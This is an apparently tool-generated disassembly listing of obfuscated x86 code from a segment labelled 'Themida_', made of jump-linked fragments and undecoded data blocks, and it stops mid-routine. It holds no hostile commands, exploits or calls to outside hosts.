loc_560BEA:				; CODE XREF: Themida_:00560505j
		pop	ebx
		push	ebp
		push	7AD5h
		mov	[esp], esi
		jmp	loc_561305
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 8
		dd 8148B725h, 5901A5C3h, 81CB0170h, 5901A5EBh, 8C38170h
		dd 0FF48B725h, 0C8B2434h, 4C48324h, 4C481h, 1C330000h
		dd 241C3124h, 8B241C33h, 0EC812424h, 4,	50240C89h, 4EC81h
		dd 0C890000h, 88D58824h, 885259ECh, 5AF588E6h, 0E92434FFh
		dd 0FFFFBFADh, 1BAFEE81h, 0CE01437Bh, 1BAFC681h, 2DE9437Bh
		dd 0FF00006Ch, 0E95D2434h, 0FFFFD13Ah
; ---------------------------------------------------------------------------


loc_560C70:				; CODE XREF: Themida_:00559A87j
		shr	esi, 5
		jmp	loc_55DEC2
; ---------------------------------------------------------------------------
		dd 241C8758h, 8124248Bh, 4ECh, 240C8900h, 4EC81h, 3DE90000h
		dd 0C000006Ch, 0F18005E1h, 59CF0839h, 6628F780h, 28A8B353h
		dd 5B66D8h, 5BA804F8h, 0EC81D828h, 4, 50241C89h, 7BB344B0h
		dd 0B252DBF6h, 0D3C280D5h, 30D6EA80h, 88EBE9D3h, 0C181FFFFh
		dd 4, 63A868h, 242C8900h, 91DBF57h, 0E9572BEBh,	26E2h
; ---------------------------------------------------------------------------


loc_560CE8:				; CODE XREF: Themida_:0055C54Cj
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_560CF7:				; CODE XREF: Themida_:00566431j
		inc	ecx
		jmp	loc_55D686
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 1Ch
		dd 0E9545224h, 0FFFF8A8Ch
; ---------------------------------------------------------------------------


loc_560D08:				; CODE XREF: Themida_:0055BBFCj
		mov	esp, [esp]
		jmp	loc_55FA99
; ---------------------------------------------------------------------------


loc_560D10:				; CODE XREF: Themida_:0056387Ej
		add	esp, 4
		add	ebx, 3AAE6366h
		xor	ebx, 2F605F97h
		xor	ebx, 0BE233857h
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55F155
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF3CB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560D35:				; CODE XREF: Themida_:0055965Bj
		pop	esi
		jmp	loc_559169
; ---------------------------------------------------------------------------


loc_560D3B:				; CODE XREF: Themida_:0056544Ej
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		not	edx
		jmp	loc_555D86
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8704C083h, 0E95C2404h, 6E8Ah
; ---------------------------------------------------------------------------


loc_560D58:				; CODE XREF: Themida_:00563385j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dd 34EBE781h, 0C7814EC8h, 203E48C4h, 3AF8F781h,	5556763Ch
		dd 6B141ABDh, 2C54E90Dh, 0EC830000h, 24148904h,	0D32241BAh
		dd 5BF575Fh, 2157C570h,	0CE95FFAh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560D9B:				; CODE XREF: Themida_:0056701Cj
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]


loc_560DAA:				; CODE XREF: Themida_:loc_55DA33j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5574DC
; ---------------------------------------------------------------------------


loc_560DBE:				; CODE XREF: Themida_:00563CB5j
		mov	bh, 38h
		and	bh, 0BAh
		sub	bh, 20h
		add	dl, bh
		pop	ebx
		add	bl, 4Bh
		add	bl, dl
		sub	bl, 4Bh
		pop	edx
		push	cx
		mov	ch, 66h
		sub	bl, 0CAh
		add	bl, ch
		push	eax
		mov	al, 0ADh
		sub	al, 0AFh
		jmp	loc_55DA00
; ---------------------------------------------------------------------------
		db 0F6h, 0F9h, 66h
		dd 0E9CCB60Fh, 0FFFF37A5h, 1DF7815Fh, 0E95FD30Dh, 447h
		dd 8685356h, 5B42EC05h,	0E3C1D3F7h, 0ADD4E902h,	0C781FFFFh
		dd 4, 0FF5FA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E19:				; CODE XREF: Themida_:005598D7j
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_560E24:				; CODE XREF: Themida_:0055449Dj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_559CB5
; ---------------------------------------------------------------------------


loc_560E49:				; CODE XREF: Themida_:00566637j
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dw 0C4FEh
		dd 8002E4C0h, 0E32843C4h, 66C32858h, 7CB9E952h,	8142FFFFh
		dd 227FDEAh, 59BCE943h,	24BEFFFFh, 89377B4Dh, 5215E9F2h
		dd 0C801FFFFh, 74FF5059h, 8F580424h, 248B2404h,	2C28324h
		dd 31241433h, 14332414h, 24248B24h, 0C8AF0F66h,	4C5E9h
		dd 4EAC100h, 0FF3D50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EA9:				; CODE XREF: Themida_:00561DC8j
		add	ecx, ebp
		jmp	loc_56114E
; ---------------------------------------------------------------------------
		dd 6F79EF81h, 0E7812909h, 123B0551h, 8104EFC1h,	4A4793EFh
		dd 5FFB21DBh, 6F30CB81h, 0ACE92917h, 8B000035h,	0C4812414h
		dd 4, 1CD9E95Eh, 56B8FFFFh, 2906FE62h, 0B95158C6h, 32C16EB2h
		dd 4AC5F181h, 6DE97982h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560EFB:				; CODE XREF: Themida_:0056735Bj
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55797F
; ---------------------------------------------------------------------------
aAf		db '╨aF=',0
		dw 0D601h
		dd 0AE6815Ah, 0E918074Fh, 0FFFF99CCh, 0E957D5F7h, 0FFFFC609h
		dd 8B243487h, 89662424h, 74E92404h, 81FFFF1Ch, 0CA451FF2h
		dd 5AD72942h, 71ACBE56h, 0C2E953ACh, 53FFFFCDh,	0E240481h
		dd 0E960F24Bh, 0FFFF3C65h, 589468h, 4F91E900h, 8B68FFFFh
		dd 5DEBB857h, 0FFD30BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560F7D:				; CODE XREF: Themida_:0055B4D3j
		or	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		xchg	eax, ebp
		pop	ebp
		and	eax, 4F2A0779h
		jmp	loc_565F10
; ---------------------------------------------------------------------------
		dd 355968h, 24048900h, 0BB53E089h, 4, 55BD801h,	4, 0FF579EE9h
		dd 0C4835AFFh, 0ABEF8104h, 0C13E4A69h, 0BB5303EFh, 2982F822h
		dd 2D5BDF01h, 2A2D1F15h, 1505F829h, 8B2A2D1Fh, 0C481243Ch
		dd 4, 6B046F05h, 2DD8017Ch, 7C6B046Fh, 5614E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560FEE:				; CODE XREF: Themida_:005653D6j
		add	ebp, 4
		jmp	loc_554616
; ---------------------------------------------------------------------------
		db 56h,	81h, 2Ch
		dd 3398F24h, 6B5DE977h,	0F0290000h, 2404335Eh, 624DE9h
		dd 0FFEB8300h, 2BE9h
		db 0
byte_561019	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552934o
aWhat		db '$Wh²T',0
		dw 8900h
		dd 0BE562424h, 4, 4247401h, 243C8B5Eh, 6804C483h, 3FB7h
		dd 0E9240C89h, 0FFFFBD5Bh, 64B2B850h, 0F92562D4h, 5768A701h
		dd 1820B4BFh, 30EF8173h, 0C1764C7Eh, 0E94F05EFh, 0FFFF9D24h
		dd 0C106E7C1h, 0C78105E7h, 0E20EC91Ch, 355FF829h, 0C0A08AC7h
		dd 0FFAEC5E9h, 4EE95EFFh, 81000055h, 0BD333CEEh, 62E95868h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56108F:				; CODE XREF: Themida_:0055685Fj
		add	esp, 4
		jmp	loc_562CD9
; ---------------------------------------------------------------------------
		db 66h
		dd 83242C8Bh, 0A2E902C4h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5610A3:				; CODE XREF: Themida_:00557889j
		push	esi
		mov	esi, 41624EC1h
		jmp	loc_558357
; ---------------------------------------------------------------------------
		dw 0D2B8h
		dd 0E94A8C6Fh, 0FFFF6EE9h
; ---------------------------------------------------------------------------


loc_5610B8:				; CODE XREF: Themida_:0056640Ej
		pop	eax
		jmp	loc_55E064
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0A224F281h, 0EF81C283h, 7941A81h, 0FF2260E9h, 0FD3166FFh
		dd 243C8B66h, 6602C483h, 8766EDD1h, 665666F5h, 66240CFFh
		dd 0E924348Bh, 0FFFF2FA5h, 43EA685Ch, 4890000h,	3CC8B824h
		dd 0D0F72C86h, 4E8C148h, 0E903E8C1h, 1E75h, 2912E958h
		dd 1433FFFFh, 0D620E924h, 0C481FFFFh, 4, 2E8BE9h, 4C18100h
		dd 51000000h, 0FF335EE9h, 6EFC1FFh, 355F68h, 241C8900h
		dd 0FA15AEBBh, 0ADEB815Ch, 295CFA15h, 49BFE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56114E:				; CODE XREF: Themida_:00560EABj
		pop	ebp
		sub	edi, 38EA299Fh
		add	edi, ecx
		add	edi, 38EA299Fh
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	ecx
		push	esi
		push	3E1B34A7h
		jmp	loc_565ECF
; ---------------------------------------------------------------------------
		db 0BDh, 0C3h, 50h
		dd 0E9551B2Dh, 0FFFF42D4h, 77B45066h, 5866E230h, 0E9BDF280h
		dd 6E97h, 1358B850h, 0BE69EAh, 313E8F17h, 8EE958C6h
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5611A3:				; CODE XREF: Themida_:0055F0F7j
		mov	ebx, 76425FEEh
		mov	eax, 9352C871h
		sub	eax, ebx
		pop	ebx
		xor	ecx, eax
		jmp	loc_554D4C
; ---------------------------------------------------------------------------
		db 1
		dd 34FF5FFDh, 0C4815E24h, 4, 2474FF55h,	48F5D04h, 4895C24h
		dd 19E5E924h, 5B5DFFFFh, 4C381h, 0BCE90000h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5611E3:				; CODE XREF: Themida_:00554A30j
		xor	edi, 0D887F28Dh
		xor	ebp, edi
		jmp	loc_55724A
; ---------------------------------------------------------------------------


loc_5611F0:				; CODE XREF: Themida_:0055B51Cj
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_567A6C
; ---------------------------------------------------------------------------
aTsf		db 'TИf;',0
		dd 1255BE00h, 0C5811C44h, 33BC75DEh, 68B5C581h,	0C58105D0h
		dd 20381D1Ah, 4F92E9h, 8BE50800h, 89532404h, 4C381E3h
		dd 83000000h, 3FE904C3h, 5700003Ah, 224CBF57h, 7C297E4Ch
		dd 0FEE90424h, 0BBFFFFB2h, 0AA05C83h, 0FF4685E9h, 0D6895AFFh
		dd 0ABE9515Ah, 0FF00002Bh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F528
; ---------------------------------------------------------------------------
		db 81h
		dd 0AF2E3DF3h, 81DBF713h, 8A4E7CF3h, 82BA5206h,	29602552h
		dd 0EB815AD3h, 5AE0255Ch, 52A2E9h, 0C1DAF700h, 86808E2h
		dd 8900004Ch, 7AB82404h, 0E933477Bh, 0FFFFD9E6h, 4244401h
		dd 9D9AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5612C2:				; CODE XREF: Themida_:0055D6DEj
		not	edx
		inc	edx
		push	edx
		inc	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_560521
; ---------------------------------------------------------------------------
byte_5612D7	db 0FFh			; DATA XREF: Themida_:005528F4o
		dd 669D1C77h, 2414D359h, 18D5E99Ch, 0E588FFFFh,	30585A58h
		dd 0C8B66E8h, 0E0895024h, 0FF6B8FE9h, 186A05FFh, 5B5B2E2Ch
		dd 0FF1A00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561305:				; CODE XREF: Themida_:00560BF4j
		push	ebp
		push	77964E6Dh
		pop	ebp
		not	ebp
		not	ebp
		xor	ebp, 77964E69h
		mov	esi, ebp
		jmp	loc_55972E
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 5AD50100h, 99685551h, 5D39D679h, 453FB951h, 0D9F75908h
		dd 0AD2E9h, 0C5BB5300h,	0C15F1D28h, 0B2E903E3h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56134B:				; CODE XREF: Themida_:0055DBCAj
		push	ebx
		mov	bh, 2Fh
		mov	ch, 4Eh
		xor	ch, bh
		pop	ebx
		jmp	loc_55A27C
; ---------------------------------------------------------------------------
		dd 3304C483h, 3C31243Ch, 0E7CAE924h, 5166FFFFh,	184DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56136E:				; CODE XREF: Themida_:00557F69j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_55CA02
; ---------------------------------------------------------------------------
		dd 34FF5A5Fh, 0C4835824h, 2E95104h, 5DFFFF5Bh, 5D4768h
		dd 242C8900h, 562E8FBDh, 8BEF217Eh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 0E4534F9Eh
		add	edi, 73B7531Eh
		add	edi, ebx
		sub	edi, 73B7531Eh
		pop	ebx
		add	ebx, edi
		jmp	loc_55E11D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0FF24248Bh,	34FF2434h, 240C8B24h, 8104C483h
		dd 4C4h, 4EC8300h, 54242C89h, 4EC815Dh,	89000000h, 0CAE9243Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561413:				; CODE XREF: Themida_:005574AEj
		pop	esp
		jmp	loc_5563B6
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4108E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561422:				; CODE XREF: Themida_:0055EAB8j
		not	ebp
		xchg	ebp, edx
		jmp	loc_561FB6
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFC7F8E9h, 241CF7FFh, 6EDC15Dh, 7AE1F581h, 0D5F7031Ah
		dd 34BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_561445:				; CODE XREF: Themida_:00557C1Aj
		sub	[esp+4], ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	1468h
		mov	[esp], eax
		push	982h
		mov	[esp], ebp
		mov	ebp, 12C409C4h
		jmp	loc_557BDD
; ---------------------------------------------------------------------------


loc_56146D:				; CODE XREF: Themida_:0055876Aj
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55489D
; ---------------------------------------------------------------------------
		db 68h,	9Fh, 0Ah
		dd 4890000h, 1F5DB824h,	685065DDh, 11C9h, 0E9241C89h, 0FFFF578Dh
		dd 0E9C3315Fh, 2C43h, 15EF729h,	0A7BE56F7h, 5778336Bh
		dd 0FF7150E9h, 5BD801FFh, 4EC81h, 2C890000h, 74B2BD24h
		dd 0EDC17E4Bh, 24E95004h, 8900005Eh, 4C281E2h, 83000000h
		dd 148704C2h, 0A8685C24h, 89000012h, 56BE2434h,	527CF754h
		dd 0FFFA34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5614E9:				; CODE XREF: Themida_:00561D83j
		push	esi
		push	2ADEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	71Ah
		jmp	loc_553245
; ---------------------------------------------------------------------------


loc_561509:				; CODE XREF: Themida_:00558A80j
		sub	ebx, 1
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7F7809DBh
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 85E816CFh
		xor	ebx, edi
		pop	edi
		and	esi, ebx
		pop	ebx
		sub	esi, 69583526h
		jmp	loc_560134
; ---------------------------------------------------------------------------
		db 87h
		dd 0C1EA87DDh, 0E94A05E2h, 0FFFFFB7Ah, 4C181h, 0C1810000h
		dd 4, 0FF1AFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561555:				; CODE XREF: Themida_:0055F69Aj
		sub	ebx, 4
		jmp	loc_5558B9
; ---------------------------------------------------------------------------
		dd 5F2414F7h, 0E6C1FE87h, 4FF68107h, 4E3B4F3Dh,	13C6EE81h
		dd 0F729F736h, 8324348Bh, 2E904C4h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561583:				; CODE XREF: Themida_:00555B28j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55DFF3
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 4EC835Dh, 0E9242C89h, 0FFFFC2A8h
; ---------------------------------------------------------------------------


loc_56159C:				; CODE XREF: Themida_:00553B25j
		add	ecx, 797C9BB1h
		jmp	loc_557EA1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9D5F700h, 13A3h, 0E9DFC180h,	2CB3h, 2414F755h
		dd 1CED815Dh, 81FB79C8h, 5E4EC0C7h, 81EF0124h, 5E4EC0EFh
		dd 0EBE95D24h, 66FFFF4Ch, 2244481h, 81661E79h, 4E02246Ch
		dd 148B6653h, 4EC8124h,	89000000h, 5954240Ch, 4BB53h, 0D9010000h
		dd 2C1815Bh, 87000000h,	248B240Ch, 15A9E924h, 0BD55FFFFh
		dd 4A034047h, 4844BE56h, 0DEF70C48h, 2CEE814Eh,	0E93DEC5Ch
		dd 0FFFFD870h, 0F87EE947h, 4B8FFFFh, 81000000h,	1134A4EDh
		dd 0E9C50100h, 0FFFF7AEBh
; ---------------------------------------------------------------------------


loc_561644:				; CODE XREF: Themida_:0055B15Ej
		shl	eax, 2
		shl	eax, 6
		xor	eax, 8EC7A4B7h
		xor	ecx, eax
		pop	eax
		jmp	loc_556971
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8002C4h, 48C3803Dh, 802EC380h, 0C30079C3h, 0C31B050h
		dd 18B2524Fh, 0E912EA80h, 829h,	0EC3ECFBDh, 85ED817Dh
		dd 8168B416h, 791F79E5h, 0D1D5F733h, 0DFF581EDh, 17763FBh
		dd 0C2815DEAh, 4, 8B241487h, 57522424h,	8B47D3BFh, 5FFA8922h
		dd 0D731FA31h, 7FE9FA31h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616B7:				; CODE XREF: Themida_:00562396j
		sub	ecx, 45FF339Ah
		jmp	loc_5627F0
; ---------------------------------------------------------------------------


loc_5616C2:				; CODE XREF: Themida_:00558563j
		shr	edx, 5
		jmp	loc_557EDF
; ---------------------------------------------------------------------------
		dw 8EB7h
		dd 0E95FB151h, 0FFFF1D0Dh
; ---------------------------------------------------------------------------


loc_5616D4:				; CODE XREF: Themida_:005539C9j
		add	esp, 4
		sub	bl, ch
		pop	ecx
		jmp	loc_55FA33
; ---------------------------------------------------------------------------
		dw 4FBEh
		dd 134AE26h, 1E95EF1h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5616EF:				; CODE XREF: Themida_:005553F2j
		add	esp, 4
		add	ebx, 3A9BF93Dh
		push	edx
		jmp	loc_557FFE
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 12h
		dd 0E9B0F680h, 0FFFF2C5Ch, 241C875Fh, 2ED0E95Ch, 4870000h
		dd 0C3305C24h, 0E9C0B60Fh, 5514h
; ---------------------------------------------------------------------------


loc_561724:				; CODE XREF: Themida_:0055D4D8j
		push	edx
		mov	edx, 75258FAh
		jmp	loc_55B238
; ---------------------------------------------------------------------------


loc_56172F:				; CODE XREF: Themida_:0055F04Cj
		pop	esp
		shl	eax, cl
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_566DA3
; ---------------------------------------------------------------------------
		db 0B8h, 9Fh, 25h
		dd 0C1015D71h, 59CB8758h, 0C6C38143h, 437CD62Fh, 0C107E3C1h
		dd 0F38104EBh, 0DA9CE5Ah, 1C8BDD01h, 31E95024h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561777:				; CODE XREF: Themida_:00563216j
		push	eax
		push	esi
		mov	esi, 46E6DA8h
		mov	eax, 47540C6Fh
		add	eax, esi
		jmp	loc_55FE40
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 0B6E9575Eh
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561793:				; CODE XREF: Themida_:00557780j
		xor	edi, ebx
		pop	ebx
		and	edi, 2F98699Dh
		sub	edi, 679F5C1Fh
		shr	edi, 2
		xor	edi, 42A766CBh
		add	eax, 53B0273Ch
		jmp	loc_555878
; ---------------------------------------------------------------------------
aIchd		db '┴Фh└{',0
		align 4
		dd 0BF243C89h, 4D9F55E7h, 0F74FD7F7h, 2800E9D7h, 1433FFFFh
		dd 24143124h, 0E9241433h, 0FFFF2E9Ch
; ---------------------------------------------------------------------------


loc_5617DC:				; CODE XREF: Themida_:00555E27j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5562B5
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 35F291Fh, 23F4E981h,	0E9C16CDCh, 0DB68E908h,	3C33FFFFh
		dd 0EC815C24h, 2, 24148966h, 885AB450h,	0B3E958E2h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561817:				; CODE XREF: Themida_:0055967Ej
		add	ebp, 4E5D102Ch
		sub	eax, ebp
		pop	ebp
		sub	edx, 386C5FBDh
		sub	edx, eax
		add	edx, 386C5FBDh
		mov	eax, [esp]
		jmp	loc_554271
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 2644E904h, 0EA81FFFFh, 616B73D3h, 1DBFE281h,	0C28103DEh
		dd 39AC1906h, 0FFF03FE9h, 5EF029FFh, 1C242C81h,	52782F7Bh
		dd 810E9h, 82EF8100h
dword_561868	dd 0E923A373h, 0FFFF4460h ; DATA XREF: Themida_:0054B688o
; ---------------------------------------------------------------------------


loc_561870:				; CODE XREF: Themida_:00554B77j
		pop	esp
		mov	[esp], edx
		push	10651117h
		pop	edx
		xor	edx, 10651517h
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_553362
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5F54243Ch, 4C781h, 0EC810000h, 4, 51240489h,	468h, 89575900h
		dd 2C8157CFh, 9542FE24h, 0FE05580Ch, 5F0C9542h,	58C70159h
		dd 31243C33h, 3C33243Ch, 24248B24h, 30DDE9h, 0E9D53100h
		dd 0FFFFCEAAh, 5C24048Fh, 4EC8350h, 81242489h, 42404h
		dd 55580000h, 6C4FBDBDh, 1C5834Ah, 8308EDC1h, 148904ECh
		dd 14F4BA24h, 0D2F7759Ah, 31D5E9h, 5EE95C00h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56190B:				; CODE XREF: Themida_:005567BFj
		add	esp, 4
		add	ecx, 4
		push	eax
		mov	eax, 76816A41h
		push	ecx
		mov	ecx, 690C6681h
		and	ecx, 2AEA4DF8h
		inc	ecx
		and	ecx, 58C15049h
		shl	ecx, 4
		push	edi
		mov	edi, 86E83240h
		xor	ecx, edi
		pop	edi
		jmp	loc_556C05
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 55000000h, 73BF5753h, 0BB273641h, 3F8B79E9h,	0E95FFB29h
		dd 0FFFF4E83h
; ---------------------------------------------------------------------------


loc_561958:				; CODE XREF: Themida_:00566659j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5636AA
; ---------------------------------------------------------------------------


loc_561968:				; CODE XREF: Themida_:005657F8j
		pop	edx
		xor	esi, 5FA12505h
		xor	esi, 68C63AFBh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, offset word_507B52
		xor	ebx, offset word_507B56
		add	ebp, ebx
		jmp	loc_55AA31
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 35906852h, 0ABE977E2h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5619B3:				; CODE XREF: Themida_:005533F7j
		add	eax, 28653036h
		jmp	loc_558C82
; ---------------------------------------------------------------------------


loc_5619BD:				; CODE XREF: Themida_:0055DBADj
		pop	edi
		xchg	esi, edx
		shl	edx, 6
		add	edx, 4EB0E66Eh
		push	671Fh
		mov	[esp], edx
		pop	ebp
		pop	edx
		jmp	loc_563E52
; ---------------------------------------------------------------------------


loc_5619D8:				; CODE XREF: Themida_:0055B48Dj
		mov	edi, 4
		add	ebp, 0E95DC3h
		sub	ebp, edi
		sub	ebp, 0E95DC3h
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_55E0F9
; ---------------------------------------------------------------------------
		dd 0B8E939B0h, 89FFFF5Ah, 8B542414h, 5E92414h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A07:				; CODE XREF: Themida_:00556076j
		sub	esp, 4
		jmp	loc_55A721
; ---------------------------------------------------------------------------
		dw 6858h
		dd 6BFDh, 55241489h, 0F44E61BDh, 9C2FBA12h, 0EA29896Eh
		dd 2012E95Dh, 1580000h,	241C8BD9h, 504C483h, 467409C3h
		dd 5657C829h, 0B06C7CBEh, 65BFBF7Eh, 95E938C4h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561A4F:				; CODE XREF: Themida_:0055EDF3j
		mov	[esp], edi
		push	edx
		mov	edx, 4
		jmp	loc_5628E1
; ---------------------------------------------------------------------------


loc_561A5D:				; CODE XREF: Themida_:005573C5j
		push	ecx
		mov	ch, 7
		not	ch
		xor	ch, 0BFh
		jmp	loc_557AE5
; ---------------------------------------------------------------------------


loc_561A6A:				; CODE XREF: Themida_:00555090j
		mov	edx, ebp
		pop	ebp
		neg	edx
		inc	edx
		add	edx, 464772C3h
		add	edx, 542B6C06h
		shr	edx, 8
		sub	edx, 910FDD9Ah
		and	eax, edx
		pop	edx
		add	eax, 4115ED7Ch
		add	ebp, eax
		pop	eax
		mov	ebx, [esp]
		jmp	loc_55E155
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0C20104C4h, 654AE9h, 54C6B900h, 0CE94686h
		db 67h,	2 dup(0)
byte_561AAF	db 66h			; DATA XREF: Themida_:005529F0o
		dd 6824048Bh, 99h, 83243489h, 8F5404ECh, 4812404h, 424h
		dd 51555E00h, 8D5701B9h, 4815173h, 0F8571624h, 0ED815D5Ch
		dd 5CF85716h, 4EDC159h,	2DCBED81h, 0F5813D9Fh, 13072966h
		dd 0FFE49BE9h, 0FFE981FFh, 55FFFFFFh, 0B3391ABDh, 1ED816Ch
		dd 0E9000000h, 0FFFF7699h, 26B2E95Ch, 0E3890000h, 33ADE9h
		dd 1C8B5400h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_560A20
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 9C38104h, 817EB42Ch,	20A2EE3h, 0E8EFE937h, 5F54FFFFh
		dd 4BA52h, 0C7810000h, 3A6A0C2Eh, 0E953D701h, 0FFFF55EFh
		dd 18A0E957h, 2C810000h, 0C3475024h, 242C814Fh,	2AB53B0Ah
		dd 81241C8Bh, 4C4h, 0C3834B00h,	68EBD1FFh, 6F26h, 0FF6248E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561B85:				; CODE XREF: Themida_:00565AA7j
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		jmp	loc_559DE1
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 0E9E8005Ch, 0FFFF5A7Ah
		dd 5203E6C1h, 0FF4996E9h, 5E9C0FFh, 0FFD2E9E9h
		db 0FFh
byte_561BB9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552B48o
aHo		db '$h╝:',0
		align 2
		dw 1C89h
aIuhm		db '$┴Цh╛\',0
		align 4
		dd 0BA241489h, 6E201FF9h, 67D5BF57h, 0EFC17A00h, 6EFC108h
		dd 37C3E9h, 56E58900h, 4BEh, 2870E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BF2:				; CODE XREF: Themida_:0055BFE8j
		pop	esp
		mov	[esp], ecx
